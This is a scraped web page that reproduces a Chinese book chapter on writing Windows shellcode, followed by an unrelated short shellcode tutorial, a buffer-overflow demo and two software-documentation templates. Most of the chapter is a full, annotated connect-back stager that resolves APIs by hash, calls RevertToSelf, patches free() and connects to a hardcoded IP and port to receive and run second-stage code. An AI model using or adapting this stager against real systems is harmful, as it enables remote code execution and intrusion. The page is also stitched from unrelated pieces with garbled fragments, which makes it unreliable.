7.Windows Shellcode

7.Windows Shellcode
7.Windows Shellcode

7

Windows Shellcode

本书一位作者的女友经常说写shellcode很容易,凭心而论,在Linux上是不太难,但在Windows上还是有一定难度的,有时候会使人垂头丧气。在开始学习本章之前,我们将先回顾一些shellcode的要点,然后研究Windows shellcode那令人着迷的特性。沿着这条主线,我们还将讨论A T&T与Intel句法间的不同,某些Win32漏洞给我们带来的影响,并探讨高级Windows shellcode的发展方向。

句法和过滤器

首先,不使用编码器/译码器又能工作,而体积又很小的windows Shellcode少之又少。无论如何,如果有许多破解代码需要你去完成,你可能会想到在破解代码中采用编码器/译码器API来避免经常调整shellcode。例如Immunity CANV AS就使用了“附加的”编码器/译码器。也就是说,它把shellcode视为一组unsigned long列表,把列表中的每个unsigned long 加上x(x可以通过不断重试随机数来找到),经过这样的,会得到一组新的没有坏字符的unsigned long列表。虽然编码器/译码器工作得很好,但还是有人乐意使用XOR、character-或word-based之类的方法。

重要的是:应该牢记译码器只是把x扩展到不同字符范围的y=f(x)函数。如果x仅仅包含小写字母,那么可以把f(x) 看作是把小写字母转换成二进制字符并转到那里的函数;当然,也可以把f(x) 看作是把小字字母转换成大字字母并转到那里的函数。换句话说,当你遇到设置严密的过滤器(译注:现在有很多程序在接受用户输入时,会过滤一些恶意字符)时,不要急于一次解决所有的问题,尝试使用多重解码,把攻击串分段转换为二进制等方法,可能会更容易些。

在本章,我们不介绍编码器/译码器,并假设你知道怎样把二进制数据复制到进程空间并跳到它。只要你会写Linux shellcode,就应该能编写x86汇编代码。我写windows shellcode 和写Linux shellcode一样,使用相同的工具。从长远来看,熟练掌握几种工具会使编写shellcode变得更轻松。依我之见,不必花大把的钞票购买Visual Studio,免费的Cygwin (https://www.360docs.net/doc/837824344.html,)就不错。安装Cygwin可能有点慢,所以你可以试着运行某个程序(gcc,as,或其它),来确认安装是否完成。当然,有些人喜欢用NASM或其它的工具,但我认为这些工具在编辑代码及测试时略有不便。

X86 A T&T 与Intel 句法的对比

在X86汇编代码格式里,A T&T与Intel句法有两个主要的不同点。第一个是A T&T句法使用[助记符source,dest];而Intel使用[助记符dest,source]。当人们用GUN的gas(A T&T 使用),OllyDbg(Intel 使用)或其它的Windows工具查看汇编代码时,这种互相颠倒的形

式可能会使人摸不着头脑。当然,假如你可以灵活转换这种形式,那么在At&T与Intel之间还有另外一个重要的不同点:寻址。

X86的寻址有如下的形式:两个寄存器,一个位移量,一个比例因子,如1,2,4或8。所以,mov eax,[ecx+ebx*4+5000] (OllyDbg中的Intel 句法)等同于mov 5000(%ecx,%ebx,4),%eax (GUN AS中的A T&T句法)。

我建议大家学习A T&T句法,理由是它的句法清晰(译注:选择最适合自己的,而不是人云亦云。)。考虑一下mov eax,[ecx+ebx],哪个是基址寄存器,哪个是变址寄存器?特别是在缺少特征时(avoid character),更容易引起混淆。出现这种情形的主要原因还是因为寻址的问题:两个寄存器似乎是一样的,可以互换;但实际上如果互换,生成的机器指令将完全不同。

7.1 创建

我们在开始写Windows shellcode时,通常会碰到一个大问题,Win32不提供直接的系统调用。而真正令人惊奇的是,这是由许多人讨论后决定的。正如Windows的一贯风格那样,这个特性有令人讨厌的一面,也有值得称赞的一面。值得称赞的是,它使Win32系统设计者在修复漏洞或扩展内部系统调用API时,不会影响现有的程序。

为了使shellcode在其它程序中运行,需要对其做适当修整,例如:

它必须可以找到需要的Win32 API函数,并生成调用表。

为了建立连接,它必须能加载需要的函数库。

它必须可以连接远程服务器,下载并执行后续的shellcode。

它必须确保自己可以正常退出,并使原来的进程继续运行或终止。

它必须能阻止其它线程对它的终止。

如果它想让后续的Win32调用继续使用堆,它还必须能修复一个或多个堆。

找到需要的Win32 API函数,一般是指在shellcode中硬编码这些函数的地址,或者是硬编码Windows某个版本的GetProcAddressA()和LoadLibraryA()地址。编写Windows shellcode最快速的方法之一是硬编码函数地址,当然,这种方法不适合特殊的可执行文件或某些版本的Windows。正如SQL Slammer蠕虫显示的那样,硬编码函数地址有时候非常有用。

注解:Slammer 的源代码在互联网上广为流传,它是非常好的、学习硬编码函数地址的例子。

但在shellcode中硬编码函数地址,将使shellcode依赖特定的可执行文件或操作系统版本。为了避免这种情形发生,我们只能改用其它方法。一种方法是在进程里模拟链接正常的DLL,然后找出函数的位置。另一种方法是搜索Kernel32.dll函数使用的内存空间,通过寻找进程环境块(Process environment block,PEB)(中国黑客经常用这个方法)找出函数的位置。在随后的章节中,我们还将介绍怎样利用Windows异常处理系统(exception-handling system)搜索整个内存空间。

7.2 剖析PEB

下面的例子源自CANV AS中的Windows shellcode,在分析这些代码之前,先介绍一下当时的想法:

可靠性是关键。它必须在没有外部支援的情况下正常工作。

扩展性很重要。当你在某些无法预料的情况下,想定制Shellcode时,就能体会到扩展性的重要了。

长度也很重要—当然是越小越好。但压缩长度需要花时间,也可能使Shellcode显得混乱且难以管理。

因为这些原因,这个例子中的shellcode显得有些臃肿,但接下来你会看到,我们将利用结构异常处理程序(Structured Exception Handler,SEH)捕获shellcode来克服这个问题。如果你花时间学习X86汇编语言并努力研究这个例子,接下来的学习会轻松一些。

注意,这段C源码比较简单,可以在GCC支持的X86平台上进行编辑或编译。现在,我们逐行分析heaoverflow.c,看它到底做了些什么!

7.2.1Heapoverflow.c 分析

如果是写Win32程序,首先要包含windows.h,我们可以从这个头文件中获得一些常量和常见的数据结构。

//released under the GNU PUBLIC LICENSE v2.0

#include

#include

#ifdef Win32

#include

#endif

我们用GCC的asm()和.set语句来开始shellcode函数。这些语句不生成实际代码,也不占用程序空间;它们的存在,可以使我们比较方便地管理shellcode中使用的常量。

void

getprocaddr()

{

/*GLOBAL DEFINES*/

asm("

.set KERNEL32HASH, 0x000d4e88

.set NUMBEROFKERNEL32FUNCTIONS,0x4

.set VIRTUALPROTECTHASH, 0x38d13c

.set GETPROCADDRESSHASH,0x00348bfa

.set LOADLIBRARYAHASH, 0x000d5786

.set GETSYSTEMDIRECTORYAHASH, 0x069bb2e6

.set WS232HASH, 0x0003ab08

.set NUMBEROFWS232FUNCTIONS,0x5

.set CONNECTHASH, 0x0000677c

.set RECVHASH, 0x00000cc0

.set SENDHASH, 0x00000cd8

.set WSASTARTUPHASH, 0x00039314

.set SOCKETHASH, 0x000036a4

.set MSVCRTHASH, 0x00037908

.set NUMBEROFMSVCRTFUNCTIONS, 0x01

.set FREEHASH, 0x00000c4e

.set ADVAPI32HASH, 0x000ca608

.set NUMBEROFADVAPI32FUNCTIONS, 0x01

.set REVERTTOSELFHASH, 0x000dcdb4

");

这里是真正起作用的代码—位置无关性代码(Position Independent Code,PIC),它的作用是将%ebx设为当前的位置(地址)。设置完成后,其它的局部变量可以参考(引用)%ebx。这和编译器所做的工作类似。

/*START OF SHELLCODE*/

asm("

mainentrypoint:

call geteip

geteip:

pop %ebx

因为我们现在不知道esp指向哪里,为了避免在调用函数时产生错误,我们需要先把它规格化(normalize)。即使是在getPC代码里,这也是个问题,因此,为了使%esp指向你的破解,你可能想在Shellcode前部包含sub $50,%esp。但是,如果你占用太大的地方(我们在这里使用0x1000),在试图向栈写数据时,可能会超出范围,导致访问违例(access violation)。当然,我们在这里选择的值,在绝大多数情况下是可以正常工作的。

movl %ebx,%esp

subl $0x1000,%esp

奇怪的是,为了使ws2_32.dll里的一些函数正常工作,%esp必须被对齐(这很可能是ws2_32.dll的漏洞)。我们这样做:

and $0xffffff00,%esp

到这一步,我们就可以着手填充函数表了。首先要在kernel32.dll里找到所需函数的地址,我们用三个函数完成这个工作。先把ecx设置为哈希列表中的函数个数,然后进入循环。每次循环时,我们把kernel32.dll(不要忘了.dll)的哈希值以及所需函数名的哈希值传给getfuncaddress()。当程序返回函数地址后,我们把它放入%edi指向的函数表中。注意,这种方法生成的地址格式是统一的。LABEL-geteip(%ebx)总是指向LABEL,这样一来,你就可以用LABEL访问存贮的变量了。

//set up them loop

movl $NUMBEROFKERNEL32FUNCTIONS,%ecx

lea KERNEL32HASHESTABLE-geteip(%ebx),%esi

lea KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi

//run the loop

getkernel32functions:

//push the hash we are looking for, which is pointed to by %esi

pushl (%esi)

pushl $KERNEL32HASH

call getfuncaddress

movl %eax,(%edi)

addl $4, %edi

addl $4, %esi

loop getkernel32functions

我们现在有一个函数表,它由kernel32.dll中的函数组成,我们在这个函数表里可以找到MSVCRT中的函数。注意,这里也是用循环结构处理的。这里调用了getfuncaddress(),我们下次碰到它时再仔细研究,现在假设它能正常工作就可以了。

//GET MSVCRT FUNCTIONS

movl $NUMBEROFMSVCRTFUNCTIONS,%ecx

lea MSVCRTHASHESTABLE-geteip(%ebx),%esi

lea MSVCRTFUNCTIONSTABLE-geteip(%ebx),%edi

getmsvcrtfunctions:

pushl (%esi)

pushl $MSVCRTHASH

call getfuncaddress

movl %eax,(%edi)

addl $4, %edi

addl $4, %esi

loop getmsvcrtfunctions

在堆溢出过程中,为了获得控制权,可能会破坏堆。但如果你不是操作堆的唯一线程,当在堆上分配空间的其它线程试图调用free()时,可能会出麻烦。为了防止这种问题发生,我们可以用操作码0xc3 替换free()的function prelude,使free()在不访问堆的情况下正常返回。

要达到上述目的,我们需要修改free()所在(内存)页的保护模式。和其它包含可执代码的内存页一样,free()所在的内存页被标记为只读和执行,因此,我们必须把它改成+rwx,我们用Virtualprotect函数做这件事。Virtualprotect函数在MSVCRT之中,但因为在前面我们已经把MSVCRT的函数填入函数表了,所以Virtualprotect函数应该在我们的函数表中。我们在自己的内部数据结构中临时存贮指向free()的指针(我们不会同时重设页面的权限)。

//QUICKLY!

//VIRTUALPROTECT FREE +rwx

lea BUF-geteip(%ebx),%eax

pushl %eax

pushl $0x40

pushl $50

movl FREE-geteip(%ebx),%edx

pushl %edx

call *VIRTUALPROTECT-geteip(%ebx)

//restore edx as FREE

movl FREE-geteip(%ebx),%edx

//overwrite it with return!

movl $0xc3c3c3c3,(%edx)

//we leave it +rwx

通过修改相关代码,我们使free()在不访问堆的情况下正常返回。这将使我们在控制程序中,防止其它线程引起访问违例。

Shellcode尾部是字符串ws2-32.dll。我们想加载它(此时,它还没有被加载)并对它初始化,然后利用它连向我们已在监听TCP端口的主机。不幸的是,我们在此碰到了一些麻烦,在某些破解里,如RPC LOCA TOR 破解,在调用RevertToSelf()前并不能加载ws2_32.dll。这是因为你所在的locator线程只能暂时模拟匿名用户处理你的请求,而匿名用户是没有权限读任何文件的。因此,我们只能假设ADV API.dll已被加载,然后利用它寻找RevertToSelf。不加载ADV API.dll的情况很少见,假如不幸被你碰到了,将导致这部分Shellcode崩溃。当然,你可以事先做一下检查,确保在RevertToSelf的指针不为0时调用它。我们在这里没有做检查,因为这只会增加Shellcode的长度而对我们并没有太大的帮助。

//Now, we call the RevertToSelf() function so we can actually do some-thing on the machine

//You can't read ws2_32.dll in the locator exploit without this.

movl $NUMBEROFADVAPI32FUNCTIONS,%ecx

lea ADVAPI32HASHESTABLE-geteip(%ebx),%esi

lea ADVAPI32FUNCTIONSTABLE-geteip(%ebx),%edii getadvapi32functions:

pushl (%esi)

pushl $ADVAPI32HASH

call getfuncaddress

movl %eax,(%edi)

addl $4,%esi

addl $4,%edi

loop getadvapi32functions

call *REVERTTOSELF-geteip(%ebx)

现在,我们以进程属主的身份运行,也有权限读ws2_32.dll。但在某些Windows系统上,如果没有指定完整的路径,LoadLibraryA()会因路径中存在点号(.)而找不到ws2_32.dll。这意味着我们还必须先用GetSystemDirectoryA()处理ws2_32.dll字符串。我们在Shellcode 尾部的临时缓冲区(BUF)里进行这些操作。

//call getsystemdirectoryA, then prepend to ws2_32.dll

pushl $2048

lea BUF-geteip(%ebx),%eax

pushl %eax

call *GETSYSTEMDIRECTORYA-geteip(%ebx)

//ok, now buf is loaded with the current working system directory

//we now need to append \\WS2_32.DLL to that, because

//of a bug in LoadLibraryA, which won't find WS2_32.DLL if there is a

//dot in that path

lea BUF-geteip(%ebx),%eax

findendofsystemroot:

cmpb $0,(%eax)

je foundendofsystemroot

inc %eax

jmp findendofsystemroot

foundendofsystemroot:

//eax is now pointing to the final null of C:\\windows\\system32

lea WS2_32DLL-geteip(%ebx),%esi

strcpyintobuf:

movb (%esi), %dl

movb %dl,(%eax)

test %dl,%dl

jz donewithstrcpy

inc %esi

inc %eax

jmp strcpyintobuf

donewithstrcpy:

//loadlibrarya(\"c:\\winnt\\system32\\ws2_32.dll\");

lea BUF-geteip(%ebx),%edx

pushl %edx

call *LOADLIBRARY-geteip(%ebx)

到这一步,我们知道ws2_32.dll已经被加载,当我们需要建立连接时,就可以从中加载函数了。

movl $NUMBEROFWS232FUNCTIONS,%ecx

lea WS232HASHESTABLE-geteip(%ebx),%esi

lea WS232FUNCTIONSTABLE-geteip(%ebx),%edi

getws232functions:

//get getprocaddress

//hash of getprocaddress

pushl (%esi)

//push hash of KERNEL32.DLL

pushl $WS232HASH

call getfuncaddress

movl %eax,(%edi)

addl $4, %esi

addl $4, %edi

loop getws232functions

//ok, now we set up BUFADDR on a quadword boundary

//esp will do since it points far above our current position

movl %esp,BUFADDR-geteip(%ebx)

//done setting up BUFADDR

当然,你必须调用WSASTARTUP得到ws2_32.dll 回转区(rolling)。即使ws2_32.dll 已经被初始化,再次调用WSASTARTUP也不会带来任何危害。

movl BUFADDR-geteip(%ebx), %eax

pushl %eax

pushl $0x101

call *WSASTARTUP-geteip(%ebx)

//call socket

pushl $6

pushl $1

pushl $2

call *SOCKET-geteip(%ebx)

movl %eax,FDSPOT-geteip(%ebx)

现在,我们调用connect()函数,它将使用保存在shellcode尾部的、硬编码过的IP地址。在实际使用时,你应该把它换成你指定的IP地址和端口。如果调用connect()失败,程序将跳到exitthread,引起异常并崩溃。有时你想调用ExitProcess(),有时为了处理进程而引起异常。

//call connect

//push addrlen=16

push $0x10

lea SockAddrSPOT-geteip(%ebx),%esi

//the 4444 is our port

pushl %esi

//push fd

pushl %eax

call *CONNECT-geteip(%ebx)

test %eax,%eax

jl exitthread

到这里,对第一部分shellcode的分析结束了,我们接下来分析保存在远程服务器上的后续shellcode。

pushl $4

call recvloop

//ok, now the size is the first word in BUF

Now that we have the size, we read in that much shellcode into the buffer.

movl BUFADDR-geteip(%ebx),%edx

movl (%edx),%edx

//now edx has the size

push %edx

//read the data into BUF

call recvloop

//Now we just execute it.

movl BUFADDR-geteip(%ebx),%edx

call *%edx

至此,我们把控制权正式交给了后续的shellcode。在一般情况下,后续shellcode首先会重复前面做过的大部分工作。

看过shellcode的概貌后,我们再来重点看一下shellcode中用到的一些函数。下面是recvloop函数的代码,它接受调用者传递的参数—需要读取数据的大小,并用外部的“全局”变量控制读入的数据放在那。就象connect()函数那样,如果recvloop发现错误也会跳到exitthread。

//recvloop function

asm("

//START FUNCTION RECVLOOP

//arguments: size to be read

//reads into *BUFADDR

recvloop:

pushl %ebp

movl %esp,%ebp

push %edx

push %edi

//get arg1 into edx

movl 0x8(%ebp), %edx

movl BUFADDR-geteip(%ebx),%edi

callrecvloop:

//not an argument- but recv() messes up edx! So we save it off here

pushl %edx

//flags

pushl $0

//len

pushl $1

//*buf

pushl %edi

movl FDSPOT-geteip(%ebx),%eax

pushl %eax

call *RECV-geteip(%ebx)

//prevents getting stuck in an endless loop if the server closes the connection

cmp $0xffffffff,%eax

je exitthread

popl %edx

//subtract how many we read

sub %eax,%edx

//move buffer pointer forward

add %eax,%edi

//test if we need to exit the function

//recv returned 0

test %eax,%eax

je donewithrecvloop

//we read all the data we wanted to read

test %edx,%edx

je donewithrecvloop

jmp callrecvloop

donewithrecvloop:

//done with recvloop

pop %edi

pop %edx

mov %ebp, %esp

pop %ebp

ret $0x04

//END FUNCTION

接下来是我们前面提到过的getfuncaddress(),它根据DLL和函数名的哈希值找出函数指针的地址。因为它做的很多工作都不符合常规,所以它可能是shellcode中最容易引起混淆的函数了。它依赖于fs:[0x30],因为Windows程序在运行时,fs:[0x30]指向进程环境块(Process Environment Block,PEB),我们根据fs:[0x30]可以找到已载入内存的模块。然后,通过比较每个模块的哈希值来寻找kernel32.dll。我们的哈希函数有一个简单的标记,用来区分哈希Unicode或纯ASCII字符。

当然,也可以选用其它的方法,而且有的还很精练。例如,Halvar Flake用16-bit的哈希值,可以节省一些空间;也有些方法通过分析PE头部寻找所需的指针。其实不必通过分析PE头部来获取每个函数的指针—只需找到GetProcAddress(),通过它就可以找到其它的函数指针了。

/* fs[0x30] is pointer to PEB

*that + 0c is _PEB_LDR_DATA pointer

*that + 0c is in load order module list pointer

可以从下面的网址获取进一步信息:

www.builder.cz/art/asembler/anti_procdump.html

https://www.360docs.net/doc/837824344.html,/ocument/doc/win2kmodules.htm

通常,按如下步骤操作:

1. 从当前的模块(fs:0x30)得到PE头部。

2. 转到PE头部。

3. 转到输出表(export table),得到nBase值。

4. 得到arrayofNames,寻找需要的函数。

*/

//void* GETFUNCADDRESS( int hash1,int hash2)

/*START OF CODE THAT GETS THE ADDRESSES*/

//arguments

//hash of dll

//hash of function

//returns function address

getfuncaddress:

pushl %ebp

movl %esp,%ebp

pushl %ebx

pushl %esi

pushl %edi

pushl %ecx

pushl %fs:(0x30)

popl %eax

//test %eax,%eax

//JS WIN9X

NT:

//get _PEB_LDR_DATA ptr

movl 0xc(%eax),%eax

//get first module pointer list

movl 0xc(%eax),%ecx

nextinlist:

//next in the list into %edx

movl (%ecx),%edx

//this is the unicode name of our module

movl 0x30(%ecx),%eax

//compare the unicode string at %eax to our string

//if it matches KERNEL32.dll, then we have our module address at 0x18+%ecx //call hash match

//push unicode increment value

pushl $2

//push hash

movl 8(%ebp),%edi

pushl %edi

//push string address

pushl %eax

call hashit

test %eax,%eax

jz foundmodule

//otherwise check the next node in the list

movl %edx,%ecx

jmp nextinlist

//FOUND THE MODULE, GET THE PROCEDURE

foundmodule:

//we are pointing to the winning list entry with ecx

//get the base address

movl 0x18(%ecx),%eax

//we want to save this off since this is our base that we will have to add push %eax

//ok, we are now pointing at the start of the module (the MZ for

//the dos header IMAGE_DOS_HEADER.e_lfanew is what we want

//to go parse (the PE header itself)

movl 0x3c(%eax),%ebx

addl %ebx,%eax

//%ebx is now pointing to the PE header (ascii PE)

//PE->export table is what we want

//0x150-0xd8=0x78 according to OllydDbg

movl 0x78(%eax),%ebx

//eax is now the base again!

pop %eax

push %eax

addl %eax,%ebx

//this eax is now the Export Directory Table

//From MS PE-COFF table, 6.3.1 (search for pecoff at MS Site to download) //Offset Size Field Description

//16 4 Ordinal Base (usually set to one!)

//24 4 Number of Name pointers (also the number of ordi-nals) //28 4 Export Address Table RVA Address of the EAT rela-tive to base //32 4 Name Pointer Table RVA Addresses (RVA's) of Names!

//36 4 Ordinal Table RVA You need the ordinals to get the addresses

//theoretically we need to subtract the ordinal base, but it turns out they don't actually use it

//movl 16(%ebx),%edi

//edi is now the ordinal base!

movl 28(%ebx),%ecx

//ecx is now the address table

movl 32(%ebx),%edx

//edx is the name pointer table

movl 36(%ebx),%ebx

//ebx is the ordinal table

//eax is now the base address again

//correct those RVA's into actual addresses

addl %eax,%ecx

addl %eax,%edx

addl %eax,%ebx

////HERE IS WHERE WE FIND THE FUNCTION POINTER ITSELF

find_procedure:

//for each pointer in the name pointer table, match against our hash //if the hash matches, then we go into the address table and get the //address using the ordinal table

movl (%edx),%esi

pop %eax

pushl %eax

addl %eax,%esi

//push the hash increment - we are ascii

pushl $1

//push the function hash

pushl 12(%ebp)

//esi has the address of our actual string

pushl %esi

call hashit

test %eax, %eax

jz found_procedure

//increment our pointer into the name table

add $4,%edx

//increment out pointer into the ordinal table

//ordinals are only 16 bits

add $2,%ebx

jmp find_procedure

found_procedure:

//set eax to the base address again

pop %eax

xor %edx,%edx

//get the ordinal into dx

//ordinal=ExportOrdinalTable[i] (pointed to by ebx)

mov (%ebx),%dx

//SymbolRVA = ExportAddressTable[ordinal-OrdinalBase]

//see note above for lack of ordinal base use

//subtract ordinal base

//sub %edi,%edx

//multiply that by sizeof(dword)

shl $2,%edx

//add that to the export address table (dereference in above .c statement) //to get the RVA of the actual address

add %edx,%ecx

//now add that to the base and we get our actual address

add (%ecx),%eax

//done eax has the address!

popl %ecx

popl %edi

popl %esi

popl %ebx

mov %ebp,%esp

pop %ebp

ret $8

下面是我们使用的哈希函数。它对字符串做简单的处理,并忽略大小写。

//hashit function

//takes 3 args

//increment for unicode/ascii //hash to test against

//address of string

hashit:

pushl %ebp

movl %esp,%ebp

push %ecx

push %ebx

push %edx

xor %ecx,%ecx

xor %ebx,%ebx

xor %edx,%edx

mov 8(%ebp),%eax

hashloop:

movb (%eax),%dl

//convert char to upper case

or $0x60,%dl

add %edx,%ebx

shl $1,%ebx

//add increment to the pointer //2 for unicode, 1 for ascii

addl 16(%ebp),%eax

mov (%eax),%cl

test %cl,%cl

loopnz hashloop

xor %eax,%eax

mov 12(%ebp),%ecx

cmp %ecx,%ebx

jz donehash

//failed to match, set eax==1

inc %eax

donehash:

pop %edx

pop %ebx

pop %ecx

mov %ebp,%esp

pop %ebp

ret $12

下面这段代码是用C语言写的哈希函数,功能和上面的代码类似。需要进行哈希处理的shellcode可能会用到不同的哈希函数。虽然大部分的哈希函数都可以很好的工作,但我们在这里选择的是一个体积较小、容易用汇编语言实现的哈希函数。

#include

main(int argc, char **argv)

{

char * p;

unsigned int hash;

if (argc<2)

{

printf("Usage: hash.exe kernel32.dll\n");

exit(0);

}

p=argv[1];

hash=0;

while (*p!=0)

{

//toupper the character

hash=hash + (*(unsigned char * )p | 0x60);

p++;

hash=hash << 1;

}

printf("Hash: 0x%8.8x\n",hash);

}

如果我们需要自己处理ExitThread()或ExitProcess(),那我们可以用自己的函数替换下面的结束函数。然而,在一般情况下,下面的代码足够用了。

exitthread:

//just cause an exception

xor %eax,%eax

call *%eax

接下来的是一些与实际情况相关的数据,如IP地址等。要真正使用这个shellcode,你必须用实际的IP地址和端口替换下面的sockaddr数据。

SockAddrSPOT:

//first 2 bytes are the PORT (then AF_INET is 0002)

.long 0x44440002

//server ip 651a8c0 is 192.168.1.101

.long 0x6501a8c0

KERNEL32HASHESTABLE:

.long GETSYSTEMDIRECTORYAHASH

.long VIRTUALPROTECTHASH

.long GETPROCADDRESSHASH

.long LOADLIBRARYAHASH

MSVCRTHASHESTABLE:

.long FREEHASH

ADVAPI32HASHESTABLE:

.long REVERTTOSELFHASH

WS232HASHESTABLE:

.long CONNECTHASH

.long RECVHASH

.long SENDHASH

.long WSASTARTUPHASH

.long SOCKETHASH

WS2_32DLL:

.ascii \"ws2_32.dll\"

.long 0x00000000

endsploit:

//nothing below this line is actually included in the shellcode, but it //is used for scratch space when the exploit is running.

MSVCRTFUNCTIONSTABLE:

FREE:

.long 0x00000000

说点shellcode

代码艺术,艺术,不得不让我想起shellcode,所以打算简单连载下shellcode的编写。 语言:c 编译环境: VC6.0 操作系统: windows XP 其实是win7虚拟机下跑的xp 看下面一个简单的程序 ,弹黑框程序 1.#include "windows.h" 2.#include "stdio.h" 3.int main() 4.{ 5.LoadLibrary("msvcrt.dll"); 6.system("cmd.exe"); 7.return 1; 8.} 因为system函数在msvcrt库中,所以在调用system函数前先加载该库。 那怎写一段shellcode实现上面弹框的功能呢? 一般两种方式,一是利用汇编实现上述功能,然后提取出二进制指令代码。 另一种就是利用内联汇编(在c程序中嵌入汇编代码),然后提取,如下利用内联汇编实现弹框代码(笔者比较喜欢此种方式)1.#include "windows.h" 2. 3.int main() 4.{ 5.__asm 6.{ 7.call _LoadLibrary 8._emit 'm' 9._emit 's'

10._emit 'v' 11._emit 'c' 12._emit 'r' 13._emit 't' 14._emit '.' 15._emit 'd' 16._emit 'l' 17._emit 'l' 18._emit 0 //字符串结束标志 19._LoadLibrary: 20.mov eax,0x7c801d7b 21.call eax 22. 23.call _system 24._emit 'c' 25._emit 'm' 26._emit 'd' 27._emit '.' 28._emit 'e' 29._emit 'x' 30._emit 'e' 31._emit 0 32._system: 33.mov eax, 0x77bf93c7 34.call eax 35.} 36.return 1; 37.} 复制代码 运行此程序,即弹出cmd命令框(当然将system函数的参数改下,也可以弹出计算器,有兴趣的可以试下),如下: 那这段代码是如何实现弹出cmd命令框的呢?写过c程序的人应该知道c中函数调用时参数由右到左逐个入栈的,参数入栈完毕后(这两个函数都只有一个参数),执行call指令,跳到要执行的函数处。 _emit伪指令的作用便是通知编译器直接在二进制文件中加入一个字符,以LoadlLibrary函数而言,参数为msvcrt.dll,将参数的所有字符逐个加到文件中,而前面一句call指令完成两个功能,一

软件技术文档编写规范

目录 第一章引言 1 §1.1 目的 1 §1.2 文档约定 1 §1.3 预期读者和阅读建议 1 §1.4 产品的范围 1 §1.5 参考文献 1 第二章综合描叙 1 §2.1 产品的前景 1 §2.2 产品的功能 1 §2.3 用户类和特征 2 §2.4 运行环境 2 §2.5 设计和实现上的限制 2 §2.6 假设和依赖 2 第三章外部接口需求 2 §3.1 用户界面 2 §3.2 硬件接口 3 §3.3 软件接口 3 §3.4 通信接口 3 第四章系统特性 3 §4.1 说明和优先级 3 §4.2 激励响应序列 3 §4.3 功能需求 3 第五章其他非功能需求 3 §5.1 性能需求 3 §5.2 安全设施需求 4 §5.3 安全性需求 4 §5.4 软件质量属性 4 §5.5 业务规则 4 §5.6 用户文档 4 第六章其他需求 4 §6.1 词汇表 4 §6.2 分析模型 4 §6.3 待确定问题列表 5 第1章引言 引言提出了对软件需求规格说明的纵览,这有助于读者理解文档如何编写并且如何阅读和解释。 §1.1 目的 对产品进行定义,在该文档中详尽说明了这个产品的软件需求,包括修正或发行版本号。如果这个软件需求规格说明只与整个系统的一部分有关系,那么就只定义文档中说明的部分或子系统。 §1.2 文档约定

描述编写文档时所采用的标准或排版约定,包括正文风格、提示区或重要符号。例如,说明了高层需求的优先级是否可以被其所有细化的需求所继承,或者每个需求陈述是否都有其自身的优先级。 §1.3 预期读者和阅读建议 列举了软件需求规格说明所针对的不同读者,例如开发人员、项目经理、营销人员、用户、测试人员或文档的编写人员。描述了文档中剩余部分的内容及其组织结构。提出了最适合于每一类型读者阅读文档的建议。 §1.4 产品的范围 提供了对指定的软件及其目的的简短描述,包括利益和目标。把软件与企业目标或业务策略相联系。可以参考项目视图和范围文档而不是将其内容复制到这里。 §1.5 参考文献 列举了编写软件需求规格说明时所参考的资料或其它资源。这可能包括用户界面风格指导、合同、标准、系统需求规格说明、使用实例文档,或相关产品的软件需求规格说明。在这里应该给出详细的信息,包括标题名称、作者、版本号、日期、出版单位或资料来源,以方便读者查阅这些文献。 如: a.本项目的经核准的计划任务书或合同、上级机关的批文; b.属于本项目的其他已发表的文件; c.本文件中各处引用的文件、资料、包括所要用到的软件开发标准。列出这些文件资料的标题、文件编号、发表日期和出版单位,说明能够得到这些文件资料的来源。 第2章综合描叙 这一部分概述了正在定义的产品以及它所运行的环境、使用产品的用户和已知的限制、假设和依赖。 §2.1 产品的前景 描述了软件需求规格说明中所定义的产品的背景和起源。说明了该产品是否是产品系列中的下一成员,是否是成熟产品所改进的下一代产品、是否是现有应用程序的替代品,或者是否是一个新型的、自含型产品。如果软件需求规格说明定义了大系统的一个组成部分,那么就要说明这部分软件是怎样与整个系统相关联的,并且要定义出两者之间的接口。 §2.2 产品的功能 概述了产品所具有的主要功能。其详细内容将在 d 中描述,所以在此只需要概略地总结,例如用列表的方法给出。很好地组织产品的功能,使每个读者都易于理解。用图形表示主要的需求分组以及它们之间的联系,例如数据流程图的顶层图或类图,都是有用的。 §2.3 用户类和特征 确定你觉得可能使用该产品的不同用户类并描述它们相关的特征(见第7 章)。有一些需求可能只与特定的用户类相关。将该产品的重要用户类与那些不太重要的用户类区分开。 §2.4 运行环境 描述了软件的运行环境,包括硬件平台、操作系统和版本,还有其它的软件组件或与其共存的应用程序。

Shellcode的原理及编写

1.shellcode原理 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。Shellcode 是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。 如下链接是shellcode编写的基础,仅供参考 https://www.360docs.net/doc/837824344.html,/uid-24917554-id-3506660.html 缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。 [cpp]view plaincopy 1.int fun(char *shellcode) 2.{ 3.char str[4]="";//这里定义4个字节 4. strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区 溢出 5. printf("%s",str); 6.return 1; 7.} 8.int main(int argc, char* argv[]) 9.{ 10.char str[]="aaaaaaaaaaaaaaaaaaa!"; 11. fun(str); 12.return 0; 13.} 如上程序,会导致缓冲区溢出。 程序运行后截图如下

软件技术报告编写规范

技术报告编写规范

文件修改控制

目录 1. 目的 2. 适用范围 3. 术语及缩略语 4. 编写规范 4.1排版规范 4.2模板使用 5. 引用文件 6. 附录

1.目的 技术报告编写规范主要描述在软件产品或软件项目开发完成时所需编写的技术报告应该包含的内容,使得本公司编写的技术报告便于软件产品或软件项目日后的维护、交接和代码重用。 2.适用范围 适用于本公司软件产品或软件项目的技术报告的编写。 3.术语及缩略语 本程序采用NQ402100《质量手册》中的术语和缩略语及其定义。 4.编写规范 4.1排版规范 1)整个规范由2节构成,模板单独一节。 2)正文样式采用“规范正文”。 3)标题编号采用每节独立编号。 4.2模板使用 1)拷贝规范。 2)删除第一节(技术报告封面前的所有页)。 3)在修改完内容后,更新目录域和相关的页数域。 5.引用文件 (无) 6.附录 以下部分为技术报告的模板。

密级: 文档编号:第版分册名称:第册/共册 项目名称(项目编号) 技术报告 (部门名称) 目录

